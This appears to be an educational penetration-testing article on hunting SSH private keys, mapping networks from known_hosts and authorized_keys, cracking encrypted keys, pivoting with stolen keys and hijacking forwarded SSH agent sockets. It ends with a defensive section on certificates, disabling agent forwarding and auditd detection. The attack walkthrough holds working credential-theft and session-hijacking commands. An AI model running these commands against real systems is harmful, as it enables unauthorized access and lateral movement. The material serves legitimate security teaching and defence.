Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
Once you have a foothold on a Linux host, SSH keys are some of the most valuable loot you can find. Unlike passwords, a private key is often passphrase-less, frequently reused across an estate, and grants direct interactive access to other machines — no brute-forcing required. In this article you'll learn how to systematically hunt for SSH key material (id_rsa, authorized_keys, known_hosts), how to read those files to map an attacker's path through the network, and how to abuse SSH agent forwarding to hijack live authentication sessions. We'll finish with a Blue Team section that carries equal weight, because most of these techniques are trivially detectable and preventable with the right controls.
This maps to MITRE ATT&CK techniques T1552.004 (Unsecured Credentials: Private Keys) and T1563.001 (Remote Service Session Hijacking: SSH).
How it works / Background
SSH public-key authentication relies on an asymmetric keypair. The private key (~/.ssh/id_rsa, id_ecdsa, or id_ed25519) stays on the client. The matching public key is appended to ~/.ssh/authorized_keys on every server the user is allowed to log into. When you connect, the server challenges you to prove possession of the private key; if the math checks out, you're in.
Three files tell most of the story:
id_rsa/id_ed25519— the private key. If it's not encrypted (no passphrase), it is a ready-to-use credential.authorized_keys— lists public keys permitted to log in as that user on this host. The comment field often leaksuser@hostname, revealing where keys originate.known_hosts— a record of every host this user has previously connected to. It's a free network map. On older configs the hostnames are plaintext; modern OpenSSH hashes them (HashKnownHosts yes), but they can still be cracked offline.
Agent forwarding (ssh -A) is the third pillar. An SSH agent (ssh-agent) holds decrypted private keys in memory and answers signing requests over a Unix socket ($SSH_AUTH_SOCK). With -A, that socket is forwarded to the remote host. Anyone with read access to the socket — including root, or you after privesc — can use the victim's keys to authenticate onward, without ever touching the key file itself.
Prerequisites / Lab setup
You need an unprivileged shell on a target Linux host. To reproduce safely, spin up three VMs (jump, web, db) on an isolated network. On jump, create a user with a passphrase-less key and push its public key to web and db:
# On the jump host, as the target user
ssh-keygen -t ed25519 -N "" -f ~/.ssh/id_ed25519
ssh-copy-id -i ~/.ssh/id_ed25519.pub deploy@web
ssh-copy-id -i ~/.ssh/id_ed25519.pub deploy@db
That single weak key now unlocks two downstream hosts — exactly the misconfiguration we'll exploit.
Attack walkthrough / PoC
1. Hunt for key material
Start broad. Search the whole filesystem for private keys and SSH config artifacts:
# Find files that look like SSH private keys, system-wide
find / -name "id_*" -not -name "*.pub" 2>/dev/null
find / -name "authorized_keys" -o -name "known_hosts" 2>/dev/null
# Grep for the unmistakable private-key header
grep -rlE "BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY" \
/home /root /opt /var /tmp 2>/dev/null
Don't stop at ~/.ssh/. Keys leak into backups, CI/CD checkouts, .bash_history, container layers, and config-management trees (/etc/ansible, /opt/puppet). Check history for SSH usage that reveals targets and key paths:
grep -rE "ssh |scp |rsync .*ssh" ~/.bash_history /home/*/.bash_history 2>/dev/null
2. Triage each key
A passphrase-encrypted key is far less useful on the spot. Check it instantly:
# A passphrase-protected OPENSSH key shows an aes256 cipher line
head -n 5 /home/deploy/.ssh/id_ed25519
# Or just probe it — this errors immediately if encrypted
ssh-keygen -y -P "" -f /home/deploy/.ssh/id_ed25519 >/dev/null \
&& echo "NO passphrase - usable now" || echo "encrypted"
If it is encrypted, exfiltrate it and crack offline with ssh2john and John the Ripper:
ssh2john id_ed25519 > id_ed25519.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
3. Map the network from known_hosts and authorized_keys
authorized_keys comments reveal where keys came from; known_hosts reveals where the user has gone:
cat /home/deploy/.ssh/authorized_keys # comment field -> user@origin-host
cat /home/deploy/.ssh/known_hosts # plaintext host list (if unhashed)
If known_hosts is hashed, recover targets you already know (e.g. from /etc/hosts or DNS) using the bundled scanner, or crack with hashcat mode 160 (HMAC-SHA1):
ssh-keygen -F web -f /home/deploy/.ssh/known_hosts # match a known name
4. Pivot with the harvested key
chmod 600 id_ed25519
ssh -i id_ed25519 deploy@web "id; hostname"
You're now on web with no password prompt. Repeat the hunt; the chain often continues to db and beyond.
5. Hijack a forwarded SSH agent
Suppose you've reached root on a jump box where an admin is logged in with ssh -A. Their agent socket is live. Find it and impersonate them:
# As root: locate forwarded agent sockets
ls -l /tmp/ssh-*/agent.* 2>/dev/null
find /tmp -path "*ssh-*/agent*" 2>/dev/null
# Point your client at the victim's socket and list loaded keys
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.1234
ssh-add -l
# Now authenticate ONWARD as the victim, no key file needed
ssh deploy@db
Because the private key never leaves the victim's original workstation, this is stealthy from a file-hunting perspective — you're borrowing live signing capability, not a key.
Mermaid diagram

The diagram shows two pivot paths from the initial foothold: stolen private keys feeding a host-to-host chain, and a hijacked SSH agent socket enabling onward auth without any key file.
Detection & Defense (Blue Team)
Defense matters as much as the attack here, because nearly every step above is preventable.
Eliminate the root cause — passphrase-less keys. Mandate passphrases on all user keys and store them in a vault. Better, move to short-lived SSH certificates signed by a CA (ssh-keygen -s), or hardware-backed keys (FIDO2 ed25519-sk, or ssh-agent backed by a YubiKey/PIV). Certificates expire, so a stolen key has a tiny window of value.
Lock down agent forwarding. Do not use ssh -A to untrusted or shared hosts — root on the intermediate box can hijack the socket. Prefer ProxyJump (ssh -J jump db), which tunnels without exposing the agent. Disable forwarding server-side where unneeded:
# /etc/ssh/sshd_config
AllowAgentForwarding no
AllowTcpForwarding no
For agents, set a confirmation prompt (ssh-add -c) so each signing request requires user approval.
Reduce blast radius. Use from= and command= restrictions in authorized_keys to bind keys to source IPs and force specific commands:
from="10.0.0.5",command="/usr/local/bin/backup.sh",no-pty,no-agent-forwarding ssh-ed25519 AAAA...
Detect the hunting. EDR/auditd rules catch the recon. Watch for mass reads of key files and find/grep over .ssh:
# auditd: alert on access to private keys
auditctl -w /home -p r -k ssh_key_read -F dir=/home -F name=id_rsa
ausearch -k ssh_key_read
Ship and correlate sshd logs: a single key authenticating from many source IPs, logins outside business hours, or Accepted publickey events for service accounts on unexpected hosts are all high-signal. Map alerts to T1552.004 and T1563.001 in your SIEM. For deeper host-pivot detection, see Linux post-exploitation enumeration and the auth-monitoring patterns in detecting lateral movement.
Rotate and inventory. Keep a register of authorized public keys (config management makes this auditable) and rotate on any suspicion of compromise. Tools like SSH key-management platforms flag orphaned and duplicate keys. This complements broader credential-access defenses discussed in credential hunting on Windows.
Conclusion
SSH keys turn a single foothold into estate-wide access faster than almost any other Linux technique, precisely because organizations treat keys as set-and-forget infrastructure. As an attacker, the playbook is simple: hunt for id_*, read authorized_keys and known_hosts to map the terrain, crack what's encrypted, and hijack agents where forwarding is sloppy. As a defender, the fix is equally clear — passphrases, certificates, no blanket -A, from=/command= restrictions, and auditd on key files. Treat every private key as a credential, because that is exactly what it is.
References
- MITRE ATT&CK — T1552.004 Unsecured Credentials: Private Keys: https://attack.mitre.org/techniques/T1552/004/
- MITRE ATT&CK — T1563.001 SSH Hijacking: https://attack.mitre.org/techniques/T1563/001/
- HackTricks — SSH lateral movement and agent hijacking: https://book.hacktricks.xyz/
- OpenSSH manual pages —
ssh(1),ssh-agent(1),sshd_config(5): https://man.openbsd.org/ssh - OpenSSH certificate authentication (PROTOCOL.certkeys): https://www.openssh.com/



Comments